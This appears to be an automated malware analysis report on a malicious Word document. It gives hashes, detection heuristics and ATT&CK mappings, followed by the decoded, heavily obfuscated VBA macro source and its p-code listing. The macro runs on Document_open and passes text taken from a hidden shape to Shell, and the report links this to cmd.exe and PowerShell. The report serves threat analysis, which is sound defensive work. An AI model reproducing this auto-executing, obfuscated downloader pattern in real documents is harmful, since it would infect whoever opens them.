Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff05ea98435cb0f8…

MALICIOUS

Office (OLE)

145.0 KB Created: 2018-12-04 22:37:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: c34cf45609217d169d5f647468bce6e8 SHA-1: 3752309bbcceec3934ac897c0feada8732264c63 SHA-256: ff05ea98435cb0f859f8ca17d5a0c5e9bd19baf041bc2cbf1fb6d14de8e3409f
272 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros that trigger on document open, which then attempt to execute cmd.exe with obfuscated parameters and also reference PowerShell. This indicates a macro-based downloader designed to execute a second-stage payload. The ClamAV detection name further supports its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Dksu-6773564-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dksu-6773564-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
             wTLiiOQspbQDHjDjhKVhpX = Hex(qbpzQnMqWVWfzFkC)
hpQXJMjvN = Array(HwIKZdMk, rzRQFpAw, cuDhXc, [Interaction].Shell(JRDpiIOTj, PaAEjRCu), rbGjiAdY)
   Select Case QZOAcrDXiMFIHZrrPz
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26097 bytes
SHA-256: 70f01ee16da0a9956be54e6ffbcab457481f6a3438cc0a16e863f5c689212890
Detection
ClamAV: No threats found
Obfuscation or payload: likely
223 of 275 identifiers look randomly generated (e.g. 'hZUpBEvObOnlUXfTJiRRPwQr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jiQRQjsicS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   Select Case zZWuMtciztVNfOEk
      Case 249907684
         KUOlwPDXjSBiBpXWKmLjQOz = ChrB(315438674 / ChrB(311057097))
         CYrvDIWwNRzNbHrpKKcOrjpI = RYFbvXTqAMffoO
      Case 293357281
         CbFXwKEpbEnTjFVi = 231564361
         lkRXRujXbuLKVvkCpFkkIGT = 108532750
   End Select
      Set qkzJurzwzdIufK = rYjKdQjridQQwwii
         AWaKjOjDNNXScHJuY = Hex(jXJmjHsRfdazzPwruJjBLKC)
   Select Case vfDIwAiabSjHpmXwUQlfi
      Case 206844135
         JOVpUmidtbjpaOUrKrozY = ChrB(127399287 / ChrB(166922956))
         HiwDjzkCQwuuaLNos = pjGwziAYantiKpoFhqqiuw
      Case 284244289
         ZiUaQwdAEjdtJKjODKWwI = 225468588
         EFVdXwOutoYXTNZIcJtdbM = 314250788
   End Select
      Set XJcbjZuZrsQUvUFCpokEkmNA = CumPEKsJZGOVmLUuzjaz
         NHEqombrLkvbwhi = Hex(KmhXLVOrjDdPJkG)
   Select Case fQEIWEkjszlwSDuinCmECIlc
      Case 293813525
         bXXCIpUcnQqqqYSbWC = ChrB(104173614 / ChrB(80347099))
         cOJQzOauWicPCdNLprvbqQi = zLOmbmjMjbwINlKbuhQlOao
      Case 305812038
         QhKUkCMjRTlAnTk = 309983845
         jafEzDjUjIzsdWXUh = 71952743
   End Select
      Set YsvZmZwSZaGOjqw = NPASddzDtMrowOjGIfWXnBt
         BkHtatTBffJFjsbvsrfZ = Hex(HVKuzGBUaDMWURsWFdAtp)
   Select Case pEjNdHVwkoOXcUsOXlmtMZMH
      Case 180143283
         RjBhEfnPEuVPnRF = ChrB(159659679 / ChrB(159936180))
         UKCZEGbdkUlQsYmYpowD = ikNQwtIzUnoBimRCscvGb
      Case 306660210
         doCzdObRbUtlZoJFNS = 208829428
         jzOKlVVzMBzIoRkbv = 318324878
   End Select
      Set jtWMjoBrOiWhnvimjZsL = tiFaXlzIEhKQnwW
         kiVkiHOpTKNJiDC = Hex(kWpPRlJDDiJBMQ)
   Select Case mEdasbKMipHonJJsPFio
      Case 285710411
         hnNStjmCNplHJYbvCwijzlj = ChrB(227453929 / ChrB(221953271))
         zqAjDsmtXqMZhi = fbRDjzkQUDjFHtvDikt
      Case 228251958
         ChmsUQBlicRDJUJRfBBNajdX = 254936730
         AbmionwddufLLjiilaOC = 329311608
   End Select
      Set mmzjsVVWDPFpQazAoiH = qOmTpSivuDIkjaoAiFva
         HrPFVSIfllkuRiY = Hex(ftarZbAGVJplzRjihXjWWOUz)
   Select Case bzdBnDFWHHKCYZmFqFXwEYjY
      Case 264545444
         rdAhcunlzVYVtrNoBOu = ChrB(157457841 / ChrB(131610379))
         EipRtlrCSFNPMcVaiQOmbQj = LflQWRiQDAZWrKBCuv
      Case 20432874
         IifkSbkdJhPnzUGNz = 175123233
         AbwLLDziUPMsjNOMhABw = 311572576
   End Select
      Set AHWllYWEnCTOCqLSThTsP = woiZjIYMwckSbpoaR
         LPbJZRLXAOjTiCSmKhC = Hex(oOfaErijPVitPsjz)
Set FbZQDa = Shapes("NucqGaB").TextFrame
   Select Case zYaICUnnKPhIzF
      Case 223671955
         jcQORosEoQKYwqMffVE = ChrB(207357527 / ChrB(186144408))
         LitzYYDZqjPYPpLujJjW = mJOrUDBciACwCRhUTP
      Case 130657080
         PaaJXaXUlmuzGN = 168239050
         iGEVBzMiNbMYdZPtMVE = 80294771
   End Select
      Set FTtfhqrFDqprIqNLwwSNs = wOzqMWBnkINqYnKpUGUcKkWj
         iBhNWmwqKXfjqiUEQG = Hex(iSRaBJiLsPlLrSVdUTZNW)
   Select Case WYJznsSwjHfXRlrJKP
      Case 334980049
         QRwAVDoPpKucjBmw = ChrB(30220080 / ChrB(48223040))
         szZCJpqzfOiYrrrD = ZJijECIYMCnQzt
      Case 34470720
         FGMqPoKiEJBHlD = 243691249
         zhZvdaouRdzmCjjVdVlliNp = 238624822
   End Select
      Set zfuBBnJRvSRTJafSRZlrYcVd = dPRzMjspwivttPqnUGQO
         TvGSNoDsaXJRUY = Hex(sSjjZiMvjZYJvEDVFP)
   Select Case VBrhqmEtKrjAzUmITFjpBE
      Case 341931433
         LTFkvOwbMAcsEbBQSiTi = ChrB(172509498 / ChrB(16098707))
         GVvWDMYoQBLVWjUwv = EozsuErEPXXlRGIDzOzstPn
      Case 77103642
         rtFijzfXoVNRNbrf = 334396696
         BRijENTjFzDApBljCLmajZrN = 192270688
   End Select
      Set ulmnHNuSluhHosKCrjUnf = jjYjsYPbZQGTShuS
         pFXPrzvWtPdiLspFiFFObUW = Hex(KUQAUadIZoiiIz)
JRDpiIOTj = FbZQDa.TextRange.Text + QiIdcz + GbYLnOV + ipCCRbjE + lqsKPSDK + Ajsqr + PSMtn + wIYqEq + bAnDm + jOQJDsq + hilwDnG
   Select Case hPjJQSiOZvhAcuFvOaSjDM
      Case 213981117
         hZUpBEvObOnlUXfTJiRRPwQr = ChrB(337768752 / ChrB(105663001))
         IHoiVjncrwtMUATZO = UaruzZYuPjiIdql
      Case 271279716
         GmfSChvoUQSwQwZCjipYNH = 103603628
         aUHtiVCafMMmipSt = 314818774
   End Select
      Set fIGzwjIGtLwQZzX = rhZBGwOsREjnTuMwcH
         HDcVXkbcrdOnNPMzkTu = Hex(juOjuAVnwwAoSX)
   Select Case jfwoKaYUsfINrNAi
      Case 298729069
         FhTjONAoERLSbuB = ChrB(207915959 / ChrB(262472534))
         sQoswKMMwtdDBwZCPls = QlnWVHJaEOLLZY
      Case 275943739
         RMiJUCPGKAQMtZiPnlLH = 189599092
         XrAlIkhRicIwlCDii = 91273995
   End Select
      Set jLUrwhfjwYoNiAzprI = ufZsWoDwnbMECzlvGCADE
         AlspOawlNMaATqHSzDtk = Hex(IjUmQwEsnrEiRinzhZdACOA)
   Select Case UEuJLHEjbLnTwOGfHztz
      Case 120472838
         UdWaGOprakwQVd = ChrB(137186838 / ChrB(48190413))
         iwiBlMPVSnEGXbsLTk = nlBpqjkDVitcKzdLA
      Case 263536806
         iQGEnblkCJGFBtDUijHnRAIt = 257858037
         KtHuPrXUBAjjNOFziuP = 192454478
   End Select
      Set jGfuitAjhHMRNQrdHtOihrD = BTthSSOiJiambzlwWnTsTP
         zOWaABuJsDrtLASOPtiHfpEB = Hex(HQLuXLUmTvTvrNd)
   Select Case fIjbiTUnTukvwShTLbbnqa
      Case 181299914
         WZiqnCQajEEiDLTw = ChrB(239502146 / ChrB(310061375))
         zaknTuJPXhUzEjVEIld = RdJPtOwPAIfDvz
      Case 185452357
         lmPwdmttLHzBiGKKGuJVQ = 139119688
         FwuPPBRCFEkTWWhXikQDmOw = 219871664
   End Select
      Set zVzBpGUQsJzjXdruFuzwnno = WfkARGqzMVRjUAPzQCi
         hoHHYJhUzjGKjYiK = Hex(UzlTAWBMLaEfzikIcr)
   Select Case MKiGwoAssaOVLBwJzkjpz
      Case 9052105
         wrEajEqWoHUVKzbmLKiXMw = ChrB(17864424 / ChrB(35426125))
         IzTkqwkLYkPuNUnC = aOrfmKVwXfOdZB
      Case 266828731
         OYHWlwKjKlPMszquVIWoOfVm = 326373495
         SRVhwiavzvffRcDHUBuJFZ = 268923472
   End Select
      Set HQfAkjDUZzftOdnhlz = uOqqukGKUrnjscBZhCaKPsLF
         wKtrNNYIbtERZlPdY = Hex(dlSmQMDFiKniCDkYzZNTG)
   Select Case AWYFKcCcSliBqrikcvfY
      Case 80750093
         EKFmkppTztRIdVFUK = ChrB(93908684 / ChrB(324100809))
         QmnbfStPAhwZTlSOA = rMnznlkiOIiIkRbuwRW
      Case 199446676
         RwZTPusosCrUmWk = 202366880
         zCqzEkkszjwZmBrVR = 169483273
   End Select
      Set NfXqrtWGnnwuqPiSU = JNMobSOuOFBzwUzUQkbLzD
         dzEwlHKEjXiHMDZEFczfQ = Hex(nodzWwzrIoGijrW)
   Select Case zuBCZrwbGcVQmjizFpNS
      Case 286455817
         VOOBziQcBKjYiEUr = ChrB(314637559 / ChrB(274833836))
         UrkdqENnSTzSOonZm = XuRKdbLjOBddOtXzWSllXz
      Case 239041896
         wJDrVkrfiCXvBKNISKpLJpE = 29862179
         PRUnBQaJaMUYTLdKwvLVbwM = 33998463
   End Select
      Set TNHYhIFwwGSWrjmzlazt = wzMBLusjTQFPLiDTltDPZ
         ELnHOZYpXOLsUOvXWO = Hex(PdpMHjwjdAhuiKbu)
Const PaAEjRCu = 0
   Select Case rkhKJpZWKCNsVUJ
      Case 39695969
         mVlBsaWjtHBTUEaMz = ChrB(83033117 / ChrB(282463731))
         wmDmBFrTTCXtDACln = wJLdPhXCqwmjVI
      Case 121062689
         SASzAnjCMqkHQTBpZvNhEU = 146616416
         OzOshnhPbMhCTnDLaI = 111277688
   End Select
      Set zQlWwzHaullwdwkAYqV = JUfEmwVlsCHwDwXwOsw
         jGUqajYWDCmjmrQckjkzb = Hex(hripuhYmmjultCApdC)
   Select Case vLwsSmAILHrZdcG
      Case 80157914
         UzfcFpZiqKvXjnaYBVwYB = ChrB(193348685 / ChrB(178309125))
         zinqFuTjOCYpriqVWNbcEkiU = AcGHnfqYkdaBjYwqM
      Case 57930520
         OlhWicBnBwqOATZFRMbb = 151493975
         QHBQUnpfmsbBGjSFcflrp = 172679680
   End Select
      Set OahKTiikhGjUZVNIOwWMwnz = tmMkwpfsqNmqmdWA
         HuuZLskOWXtSOvb = Hex(URjSunsbndMiXVkcWEq)
   Select Case bAhiDicPdQoDXWl
      Case 129917900
         iEFGKFuTccOfvoCjOG = ChrB(221774937 / ChrB(82639899))
         qbpTOoLswhbRZbhEzQvmLa = OkiblXIQDHjndPm
      Case 314775711
         jbiumOWNUbPpmZdQV = 174410237
         jMZVpRYJsoEpMUiDjwLcW = 82023795
   End Select
      Set QwtaQhDWIpDPDJGpd = EdYQmDUIVtUJwMTwI
         wrHcpRvzIFaudGiORjp = Hex(KqFILJCwrqvFAh)
   Select Case HDYmorWrmBzMaiYiUd
      Case 124255235
         dtkcCroGacXjnikzO = ChrB(200579608 / ChrB(51475696))
         iqjfkaQuowVkiiuNT = kwDPQJdSZvubPpVAfmJErbbt
      Case 119378269
         GnwIkWiStKOTaaCSBUAN = 218920548
         OhzIDOEIVJzmCpUQLXww = 315516034
   End Select
      Set mMLjCZaGtEwaZQJb = QOkpEWoXMwkJcQkkDv
         wTLiiOQspbQDHjDjhKVhpX = Hex(qbpzQnMqWVWfzFkC)
hpQXJMjvN = Array(HwIKZdMk, rzRQFpAw, cuDhXc, [Interaction].Shell(JRDpiIOTj, PaAEjRCu), rbGjiAdY)
   Select Case QZOAcrDXiMFIHZrrPz
      Case 161246600
         IoUGMljRKYoHws = ChrB(196017829 / ChrB(297839465))
         dsIzFnKtiNSihINzjLbFI = qImNJXzKPvwIlEQFCBJMiX
      Case 108231984
         dPbKRjCnaqCzKsdnwTwWfY = 152666339
         hbJZwvFSszjuvms = 233799547
   End Select
      Set KivCQuKYVPOZtHEsTcqXcri = jHLIjrJaOdUpbFRhwAajq
         wsfBcKCMQTEKTIiCpdFoKQm = Hex(QNLJYbRzuqJTdhPzY)
   Select Case SRYXUiLFZwVwMwVXoF
      Case 284662881
         YMcokzhMAUElFwOjjhmI = ChrB(60166368 / ChrB(254785076))
         iYbDokuVPwtzGokmWBwEFt = qNhlqHTiXlauPJuscGzpm
      Case 81106433
         IvwuQHKhhoolpGwEOwPVNfuV = 191841078
         IWwGDzdOZquMCbNDtFa = 158654474
   End Select
      Set ldCktXqmcBaRozo = bkrHbhIKBtoIJmouFWWtw
         KanbzoTvOcZUSUjQdE = Hex(sjAiicpMjMRcvnFaQT)
End Sub


' Processing file: /tmp/qstore_8jcdkd8q
' ===============================================================================
' Module streams:
' Macros/VBA/jiQRQjsicS - 14604 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld zZWuMtciztVNfOEk 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x49E4 0x0EE5 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LitDI4 0x3652 0x12CD 
' 	LitDI4 0x5AC9 0x128A 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St KUOlwPDXjSBiBpXWKmLjQOz 
' Line #5:
' 	Ld RYFbvXTqAMffoO 
' 	St CYrvDIWwNRzNbHrpKKcOrjpI 
' Line #6:
' 	LitDI4 0x46E1 0x117C 
' 	Case 
' 	CaseDone 
' Line #7:
' 	LitDI4 0x6449 0x0DCD 
' 	St CbFXwKEpbEnTjFVi 
' Line #8:
' 	LitDI4 0x140E 0x0678 
' 	St lkRXRujXbuLKVvkCpFkkIGT 
' Line #9:
' 	EndSelect 
' Line #10:
' 	SetStmt 
' 	Ld rYjKdQjridQQwwii 
' 	Set qkzJurzwzdIufK 
' Line #11:
' 	Ld jXJmjHsRfdazzPwruJjBLKC 
' 	ArgsLd Hex 0x0001 
' 	St AWaKjOjDNNXScHJuY 
' Line #12:
' 	Ld vfDIwAiabSjHpmXwUQlfi 
' 	SelectCase 
' Line #13:
' 	LitDI4 0x30E7 0x0C54 
' 	Case 
' 	CaseDone 
' Line #14:
' 	LitDI4 0xF577 0x0797 
' 	LitDI4 0x0ACC 0x09F3 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St JOVpUmidtbjpaOUrKrozY 
' Line #15:
' 	Ld pjGwziAYantiKpoFhqqiuw 
' 	St HiwDjzkCQwuuaLNos 
' Line #16:
' 	LitDI4 0x3941 0x10F1 
' 	Case 
' 	CaseDone 
' Line #17:
' 	LitDI4 0x60AC 0x0D70 
' 	St ZiUaQwdAEjdtJKjODKWwI 
' Line #18:
' 	LitDI4 0x1624 0x12BB 
' 	St EFVdXwOutoYXTNZIcJtdbM 
' Line #19:
' 	EndSelect 
' Line #20:
' 	SetStmt 
' 	Ld CumPEKsJZGOVmLUuzjaz 
' 	Set XJcbjZuZrsQUvUFCpokEkmNA 
' Line #21:
' 	Ld KmhXLVOrjDdPJkG 
' 	ArgsLd Hex 0x0001 
' 	St NHEqombrLkvbwhi 
' Line #22:
' 	Ld fQEIWEkjszlwSDuinCmECIlc 
' 	SelectCase 
' Line #23:
' 	LitDI4 0x3D15 0x1183 
' 	Case 
' 	CaseDone 
' Line #24:
' 	LitDI4 0x902E 0x0635 
' 	LitDI4 0xFFDB 0x04C9 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St bXXCIpUcnQqqqYSbWC 
' Line #25:
' 	Ld zLOmbmjMjbwINlKbuhQlOao 
' 	St cOJQzOauWicPCdNLprvbqQi 
' Line #26:
' 	LitDI4 0x5246 0x123A 
' 	Case 
' 	CaseDone 
' Line #27:
' 	LitDI4 0xFA65 0x1279 
' 	St QhKUkCMjRTlAnTk 
' Line #28:
' 	LitDI4 0xE967 0x0449 
' 	St jafEzDjUjIzsdWXUh 
' Line #29:
' 	EndSelect 
' Line #30:
' 	SetStmt 
' 	Ld NPASddzDtMrowOjGIfWXnBt 
' 	Set YsvZmZwSZaGOjqw 
' Line #31:
' 	Ld HVKuzGBUaDMWURsWFdAtp 
' 	ArgsLd Hex 0x0001 
' 	St BkHtatTBffJFjsbvsrfZ 
' Line #32:
' 	Ld pEjNdHVwkoOXcUsOXlmtMZMH 
' 	SelectCase 
' Line #33:
' 	LitDI4 0xC4B3 0x0ABC 
' 	Case 
' 	CaseDone 
' Line #34:
' 	LitDI4 0x369F 0x0984 
' 	LitDI4 0x6EB4 0x0988 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St RjBhEfnPEuVPnRF 
' Line #35:
' 	Ld ikNQwtIzUnoBimRCscvGb 
' 	St UKCZEGbdkUlQsYmYpowD 
' Line #36:
' 	LitDI4 0x4372 0x1247 
' 	Case 
' 	CaseDone 
' Line #37:
' 	LitDI4 0x7BF4 0x0C72 
' 	St doCzdObRbUtlZoJFNS 
' Line #38:
' 	LitDI4 0x408E 0x12F9 
' 	St jzOKlVVzMBzIoRkbv 
' Line #39:
' 	EndSelect 
' Line #40:
' 	SetStmt 
' 	Ld tiFaXlzIEhKQnwW 
' 	Set jtWMjoBrOiWhnvimjZsL 
' Line #41:
' 	Ld kWpPRlJDDiJBMQ 
' 	ArgsLd Hex 0x0001 
' 	St kiVkiHOpTKNJiDC 
' Line #42:
' 	Ld mEdasbKMipHonJJsPFio 
' 	SelectCase 
' Line #43:
' 	LitDI4 0x984B 0x1107 
' 	Case 
' 	CaseDone 
' Line #44:
' 	LitDI4 0xABE9 0x0D8E 
' 	LitDI4 0xBCF7 0x0D3A 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St hnNStjmCNplHJYbvCwijzlj 
' Line #45:
' 	Ld fbRDjzkQUDjFHtvDikt 
' 	St zqAjDsmtXqMZhi 
' Line #46:
' 	LitDI4 0xD936 0x0D9A 
' 	Case 
' 	CaseDone 
' Line #47:
' 	LitDI4 0x069A 0x0F32 
' 	St ChmsUQBlicRDJUJRfBBNajdX 
' Line #48:
' 	LitDI4 0xE578 0x13A0 
' 	St AbmionwddufLLjiilaOC 
' Line #49:
' 	EndSelect 
' Line #50:
' 	SetStmt 
' 	Ld qOmTpSivuDIkjaoAiFva 
' 	Set mmzjsVVWDPFpQazAoiH 
' Line #51:
' 	Ld ftarZbAGVJplzRjihXjWWOUz 
' 	ArgsLd Hex 0x0001 
' 	St HrPFVSIfllkuRiY 
' Line #52:
' 	Ld bzdBnDFWHHKCYZmFqFXwEYjY 
' 	SelectCase 
' Line #53:
' 	LitDI4 0xA4A4 0x0FC4 
' 	Case 
' 	CaseDone 
' Line #54:
' 	LitDI4 0x9DB1 0x0962 
' 	LitDI4 0x370B 0x07D8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St rdAhcunlzVYVtrNoBOu 
' Line #55:
' 	Ld LflQWRiQDAZWrKBCuv 
' 	St EipRtlrCSFNPMcVaiQOmbQj 
' Line #56:
' 	LitDI4 0xC7EA 0x0137 
' 	Case 
' 	CaseDone 
' Line #57:
' 	LitDI4 0x2B21 0x0A70 
' 	St IifkSbkdJhPnzUGNz 
' Line #58:
' 	LitDI4 0x3860 0x1292 
' 	St AbwLLDziUPMsjNOMhABw 
' Line #59:
' 	EndSelect 
' Line #60:
' 	SetStmt 
' 	Ld woiZjIYMwckSbpoaR 
' 	Set AHWllYWEnCTOCqLSThTsP 
' Line #61:
' 	Ld oOfaErijPVitPsjz 
' 	ArgsLd Hex 0x0001 
' 	St LPbJZRLXAOjTiCSmKhC 
' Line #62:
' 	SetStmt 
' 	LitStr 0x0007 "NucqGaB"
' 	ArgsLd Shapes 0x0001 
' 	MemLd TextFrame 
' 	Set FbZQDa 
' Line #63:
' 	Ld zYaICUnnKPhIzF 
' 	SelectCase 
' Line #64:
' 	LitDI4 0xF693 0x0D54 
' 	Case 
' 	CaseDone 
' Line #65:
' 	LitDI4 0x0657 0x0C5C 
' 	LitDI4 0x5698 0x0B18 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St jcQORosEoQKYwqMffVE 
' Line #66:
' 	Ld mJOrUDBciACwCRhUTP 
' 	St LitzYYDZqjPYPpLujJjW 
' Line #67:
' 	LitDI4 0xAB38 0x07C9 
' 	Case 
' 	CaseDone 
' Line #68:
' 	LitDI4 0x1FCA 0x0A07 
' 	St PaaJXaXUlmuzGN 
' Line #69:
' 	LitDI4 0x3373 0x04C9 
' 	St iGEVBzMiNbMYdZPtMVE 
' Line #70:
' 	EndSelect 
' Line #71:
' 	SetStmt 
' 	Ld wOzqMWBnkINqYnKpUGUcKkWj 
' 	Set FTtfhqrFDqprIqNLwwSNs 
' Line #72:
' 	Ld iSRaBJiLsPlLrSVdUTZNW 
' 	ArgsLd Hex 0x0001 
' 	St iBhNWmwqKXfjqiUEQG 
' Line #73:
' 	Ld WYJznsSwjHfXRlrJKP 
' 	SelectCase 
' Line #74:
' 	LitDI4 0x63D1 0x13F7 
' 	Case 
' 	CaseDone 
' Line #75:
' 	LitDI4 0x1F30 0x01CD 
' 	LitDI4 0xD340 0x02DF 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St QRwAVDoPpKucjBmw 
' Line #76:
' 	Ld ZJijECIYMCnQzt 
' 	St szZCJpqzfOiYrrrD 
' Line #77:
' 	LitDI4 0xFB40 0x020D 
' 	Case 
' 	CaseDone 
' Line #78:
' 	LitDI4 0x6EF1 0x0E86 
' 	St FGMqPoKiEJBHlD 
' Line #79:
' 	LitDI4 0x2036 0x0E39 
' 	St zhZvdaouRdzmCjjVdVlliNp 
' Line #80:
' 	EndSelect 
' Line #81:
' 	SetStmt 
' 	Ld dPRzMjspwivttPqnUGQO 
' 	Set zfuBBnJRvSRTJafSRZlrYcVd 
' Line #82:
' 	Ld sSjjZiMvjZYJvEDVFP 
' 	ArgsLd Hex 0x0001 
' 	St TvGSNoDsaXJRUY 
' Line #83:
' 	Ld VBrhqmEtKrjAzUmITFjpBE 
' 	SelectCase 
' Line #84:
' 	LitDI4 0x75A9 0x1461 
' 	Case 
' 	CaseDone 
' Line #85:
' 	LitDI4 0x493A 0x0A48 
' 	LitDI4 0xA593 0x00F5 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St LTFkvOwbMAcsEbBQSiTi 
' Line #86:
' 	Ld EozsuErEPXXlRGIDzOzstPn 
' 	St GVvWDMYoQBLVWjUwv 
' Line #87:
' 	LitDI4 0x821A 0x0498 
' 	Case 
' 	CaseDone 
' Line #88:
' 	LitDI4 0x7D18 0x13EE 
' 	St rtFijzfXoVNRNbrf 
' Line #89:
' 	LitDI4 0xD160 0x0B75 
' 	St BRijENTjFzDApBljCLmajZrN 
' Line #90:
' 	EndSelect 
' Line #91:
' 	SetStmt 
' 	Ld jjYjsYPbZQGTShuS 
' 	Set ulmnHNuSluhHosKCrjUnf 
' Line #92:
' 	Ld KUQAUadIZoiiIz 
' 	ArgsLd Hex 0x0001 
' 	St pFXPrzvWtPdiLspFiFFObUW 
' Line #93:
' 	Ld FbZQDa 
' 	MemLd TextRange 
' 	MemLd Text 
' 	Ld QiIdcz 
' 	Add 
' 	Ld GbYLnOV 
' 	Add 
' 	Ld ipCCRbjE 
' 	Add 
' 	Ld lqsKPSDK 
' 	Add 
' 	Ld Ajsqr 
' 	Add 
' 	Ld PSMtn 
' 	Add 
' 	Ld wIYqEq 
' 	Add 
' 	Ld bAnDm 
' 	Add 
' 	Ld jOQJDsq 
' 	Add 
' 	Ld hilwDnG 
' 	Add 
' 	St JRDpiIOTj 
' Line #94:
' 	Ld hPjJQSiOZvhAcuFvOaSjDM 
' 	SelectCase 
' Line #95:
' 	LitDI4 0x17BD 0x0CC1 
' 	Case 
' 	CaseDone 
' Line #96:
' 	LitDI4 0xF130 0x1421 
' 	LitDI4 0x4A19 0x064C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St hZUpBEvObOnlUXfTJiRRPwQr 
' Line #97:
' 	Ld UaruzZYuPjiIdql 
' 	St IHoiVjncrwtMUATZO 
' Line #98:
' 	LitDI4 0x6664 0x102B 
' 	Case 
' 	CaseDone 
' Line #99:
' 	LitDI4 0xDDAC 0x062C 
' 	St GmfSChvoUQSwQwZCjipYNH 
' Line #100:
' 	LitDI4 0xC0D6 0x12C3 
' 	St aUHtiVCafMMmipSt 
' Line #101:
' 	EndSelect 
' Line #102:
' 	SetStmt 
' 	Ld rhZBGwOsREjnTuMwcH 
' 	Set fIGzwjIGtLwQZzX 
' Line #103:
' 	Ld juOjuAVnwwAoSX 
' 	ArgsLd Hex 0x0001 
' 	St HDcVXkbcrdOnNPMzkTu 
' Line #104:
' 	Ld jfwoKaYUsfINrNAi 
' 	SelectCase 
' Line #105:
' 	LitDI4 0x3E6D 0x11CE 
' 	Case 
' 	CaseDone 
' Line #106:
' 	LitDI4 0x8BB7 0x0C64 
' 	LitDI4 0x0356 0x0FA5 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St FhTjONAoERLSbuB 
' Line #107:
' 	Ld QlnWVHJaEOLLZY 
' 	St sQoswKMMwtdDBwZCPls 
' Line #108:
' 	LitDI4 0x913B 0x1072 
' 	Case 
' 	CaseDone 
' Line #109:
' 	LitDI4 0x0D74 0x0B4D 
' 	St RMiJUCPGKAQMtZiPnlLH 
' Line #110:
' 	LitDI4 0xBB0B 0x0570 
' 	St XrAlIkhRicIwlCDii 
' Line #111:
' 	EndSelect 
' Line #112:
' 	SetStmt 
' 	Ld ufZsWoDwnbMECzlvGCADE 
' 	Set jLUrwhfjwYoNiAzprI 
' Line #113:
' 	Ld IjUmQwEsnrEiRinzhZdACOA 
' 	ArgsLd Hex 0x0001 
' 	St AlspOawlNMaATqHSzDtk 
' Line #114:
' 	Ld UEuJLHEjbLnTwOGfHztz 
' 	SelectCase 
' Line #115:
' 	LitDI4 0x4506 0x072E 
' 	Case 
' 	CaseDone 
' Line #116:
' 	LitDI4 0x4E16 0x082D 
' 	LitDI4 0x53CD 0x02DF 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St UdWaGOprakwQVd 
' Line #117:
' 	Ld nlBpqjkDVitcKzdLA 
' 	St iwiBlMPVSnEGXbsLTk 
' Line #118:
' 	LitDI4 0x40A6 0x0FB5 
' 	Case 
' 	CaseDone 
' Line #119:
' 	LitDI4 0x99F5 0x0F5E 
' 	St iQGEnblkCJGFBtDUijHnRAIt 
' Line #120:
' 	LitDI4 0x9F4E 0x0B78 
' 	St KtHuPrXUBAjjNOFziuP 
' Line #121:
' 	EndSelect 
' Line #122:
' 	SetStmt 
' 	Ld BTthSSOiJiambzlwWnTsTP 
' 	Set jGfuitAjhHMRNQrdHtOihrD 
' Line #123:
' 	Ld HQLuXLUmTvTvrNd 
' 	ArgsLd Hex 0x0001 
' 	St zOWaABuJsDrtLASOPtiHfpEB 
' Line #124:
' 	Ld fIjbiTUnTukvwShTLbbnqa 
' 	SelectCase 
' Line #125:
' 	LitDI4 0x6ACA 0x0ACE 
' 	Case 
' 	CaseDone 
' Line #126:
' 	LitDI4 0x8342 0x0E46 
